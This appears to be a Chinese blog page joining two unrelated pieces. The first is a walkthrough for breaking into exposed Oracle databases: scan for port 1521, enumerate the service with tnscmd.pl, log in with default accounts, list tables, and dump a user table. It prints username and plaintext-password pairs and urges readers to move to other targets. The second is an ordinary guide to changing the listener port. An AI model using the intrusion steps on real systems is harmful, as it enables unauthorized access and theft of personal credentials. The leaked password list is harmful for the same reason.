oracle extproc1521,oracle1521的问题细节

需要工具Active Perl,Oracle客户端,Superscan或者是其它扫描端口的软件,

Tnscmd.pl。

我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:

复制内容到剪贴板

代码:

C:\perl\bin>perl tnscmd.pl

usage: tnscmd.pl [command] -h hostname

where 'command' is something like ping, version, status,

etc.

(default is ping)

[-p port] - alternate TCP port to use (default is 1521)

[--logfile logfile] - write raw packets to specified

logfile

[--indent] - indent & outdent on parens

[--rawcmd command] - build your own CONNECT_DATA string

[--cmdsize bytes] - fake TNS command size (reveals packet

leakage)

我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。。。。

然后我们就这样来:

复制内容到剪贴板

代码:

C:\perl\bin>perl tnscmd.pl services -h

xx.xx.110.110 -p 1521 –indent

sending (CONNECT_DATA=(COMMAND=services)) to

xx.xx.110.110:1521

writing 91 bytes

reading

._.......6.........?. ..........

DESCRIPTION=

TMP=

VSNNUM=135286784

ERR=0

SERVICES_EXIST=1

.Q........

SERVICE=

SERVICE_NAME=ORCL

INSTANCE=

INSTANCE_NAME=ORCL

NUM=1

INSTANCE_CLASS=ORACLE

HANDLER=

HANDLER_DISPLAY=DEDICATED SERVER

STA=ready

HANDLER_INFO=LOCAL SERVER

HANDLER_MAXLOAD=0

HANDLER_LOAD=0

ESTABLISHED=447278

REFUSED=0

HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227

HANDLER_NAME=DEDICATED

ADDRESS=

PROTOCOL=beq

PROGRAM=/home/oracle/bin/oracle

ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'

ARGV0=oracleORCL

ARGS='

LOCAL=NO

'

.........@

从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的哦~~~~。

如下:

复制内容到剪贴板

代码:

C:\oracle\ora90\BIN>sqlplus /nolog

SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59

2002

(c) Copyright 2001 Oracle Corporation. All rights reserved.

SQL>connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=xx.xx.110.110)(port=1521)))(connect_data=(SERVICE_NAME=ORCL)));

如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。

成功连接后,这样来

复制内容到剪贴板

代码:

SQL>select distinct owner from all_objects;

上面是查看数据库里面有多少用户,是不是觉得oracle数据库和mssql数据库很象?提交后出现以下信息:

CTXSYS

MDSYS

DEMO

PUBLIC

SYS

SYSTEM

ORCL

...

我们需要的就是ORCL了,其他全是系统默认的,没有什么价值,呵呵~~~~

SQL>select owner,table_name from dba_tables where

owner='ORCL';

上面是查看数据表的内容了,提交后,出现以下信息:

OWNER             TABLE_NAME

------------------------------

------------------------------

ORCL              MLOG$_T1

ORCL              PLAN_TABLE

ORCL              VODAD

ORCL              VODADMIN

ORCL              VODBUSI

ORCL              VODFIRM

ORCL              VODFIRMDETAIL

ORCL              VODGROUP

ORCL              VODLOG

ORCL              VODSUR

......

......

ORCL              REGUNITTYPE

ORCL              REGUSER

....

怎么样,发现你感兴趣的没有呢?REGUSER?用户信息。。。。。。哈哈。然后提交如下语句:

SQL> desc ORCL.REGUSER;

Name                   Null?  Type

----------------------------------------- --------

----------------------------

UNAME                       VARCHAR2(32)

PASSWORD                      VARCHAR2(20)

IDTYPE                       VARCHAR2(2)

IDNUM                       VARCHAR2(20)

OCCUPATION                     VARCHAR2(2)

BIRTHDAY                      DATE

USTATE                       NUMBER(38)

.....

是不是眼前一亮?出现了用户名和密码的字眼哦,那好等什么呢?提交如下语句吧:

SQL> select UNAME,PASSWORD from

ORCL.REGUSER;.....

UNAME      PASSWORD

---------------- --------------------

coolboy     780929

Babycat     546789

Mickey      794951

WING       357954

Badb0y      490570

abcd       161346

wwwcool     940216

UNAME      PASSWORD

---------------- -------------------

****************************************************************************************************************************************************************************************************

般Oracle安装好之后的默认端口为1521,为了安全。如何更改。

1、查看监听端口:

C:\Documents and Settings\mengzhaoliang>lsnrctl

status

LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on

17-12月-2008 18:2

8:20

Copyright (c) 1991, 2005, Oracle. All rights

reserved.

正在连接到 (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=orcl)))

LISTENER 的 STATUS

------------------------

别名 LISTENER

版本 TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Produ

ction

启动日期 15-12月-2008 17:35:26

正常运行时间 2 天 0 小时 52 分 58 秒

跟踪级别 off

安全性 ON: Local OS Authentication

SNMP OFF

监听程序参数文件 D:\oracle\product\10.2.0\db_1\network\admin\listener.o

ra

监听程序日志文件 D:\oracle\product\10.2.0\db_1\network\log\listener.log

监听端点概要...

(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\orclipc)))

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=1521)))

服务摘要..

服务 "orcl" 包含 2 个例程。

例程 "orcl", 状态 UNKNOWN, 包含此服务的 1 个处理程序...

例程 "orcl", 状态 READY, 包含此服务的 1 个处理程序...

服务 "orclXDB" 包含 1 个例程。

例程 "orcl", 状态 READY, 包含此服务的 1 个处理程序...

服务 "orcl_XPT" 包含 1 个例程。

例程 "orcl", 状态 READY, 包含此服务的 1 个处理程序...

命令执行成功

2、改变端口号

在D:\oracle\product\10.2.0\db_1\NETWORK\ADMIN\listener.ora文件

LISTENER =

(DESCRIPTION_LIST =

(DESCRIPTION

=

(ADDRESS = (PROTOCOL = IPC)(KEY = orcl))

(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))

)

)

改成:

LISTENER =

(DESCRIPTION_LIST =

(DESCRIPTION

=

(ADDRESS = (PROTOCOL = IPC)(KEY = orcl))

(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1568))

)

)

3、停止监听命令:

C:\Documents and Settings\mengzhaoliang>lsnrctl

stop

LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on

17-12月-2008 18:30:31

Copyright (c) 1991, 2005, Oracle. All rights

reserved.

正在连接到 (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=orcl)))

命令执行成功

4、重启监听命令:

C:\Documents and Settings\mengzhaoliang>lsnrctl

start

LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on

17-12月-2008 18:30:44

Copyright (c) 1991, 2005, Oracle. All rights

reserved.

启动tnslsnr: 请稍候...

TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Production

系统参数文件为D:\oracle\product\10.2.0\db_1\network\admin\listener.ora

写入D:\oracle\product\10.2.0\db_1\network\log\listener.log的日志信息

监听:

(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\orclipc)))

监听:

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=1568)))

正在连接到 (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=orcl)))

LISTENER 的 STATUS

------------------------

别名 LISTENER

版本 TNSLSNR for 32-bit Windows: Version 10.2.0.1.0 - Produ

ction

启动日期 17-12月-2008 18:30:45

正常运行时间 0 天 0 小时 0 分 1 秒

跟踪级别 off

安全性 ON: Local OS Authentication

SNMP OFF

监听程序参数文件 D:\oracle\product\10.2.0\db_1\network\admin\listener.ora

监听程序日志文件 D:\oracle\product\10.2.0\db_1\network\log\listener.log

监听端点概要...

(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\orclipc)))

(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=1568)))

服务摘要..

服务 "orcl" 包含 1 个例程。

例程 "orcl", 状态 UNKNOWN, 包含此服务的 1 个处理程序...

命令执行成功

这样就可以成功更改监听端口号了

5、测试是否成功进入数据库

用超级用户可以连接上数据库SQL>sqlplus "/as sysdba"

但用普通用户不可以,如SQL>sqlplus test/test@ORCL

用户连接不是数据库:出现:

ERROR:

ORA-12514: TNS: 监听程序当前无法识别连接描述符中请求的服务

原来listener.ora内容:

# listener.ora Network Configuration File: D:\oracle\product\10.2.0\db_1\network\admin\listener.ora

# Generated by Oracle configuration tools.

SID_LIST_LISTENER =

(SID_LIST =

(SID_DESC

=

(SID_NAME = PLSExtProc)

(ORACLE_HOME = E:\oracle\product\10.2.0\db_1)

(PROGRAM = extproc)

)

)

LISTENER =

(DESCRIPTION_LIST =

(DESCRIPTION

=

(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1))

(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))

)

)

改成(红色部分为增加、修改部分):

# listener.ora Network Configuration File: D:\oracle\product\10.2.0\db_1\network\admin\listener.ora

# Generated by Oracle configuration tools.

SID_LIST_LISTENER =

(SID_LIST =

(SID_DESC

=

(SID_NAME = PLSExtProc)

(ORACLE_HOME = D:\oracle\product\10.2.0\db_1)

(PROGRAM = extproc)

)

(SID_DESC =

(GLOBAL_DBNAME = ORCL)

(ORACLE_HOME

= D:\oracle\product\10.2.0\db_1)

(SID_NAME =

ORCL)

)

)

LISTENER =

(DESCRIPTION_LIST =

(DESCRIPTION

=

(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1))

(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1568))

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值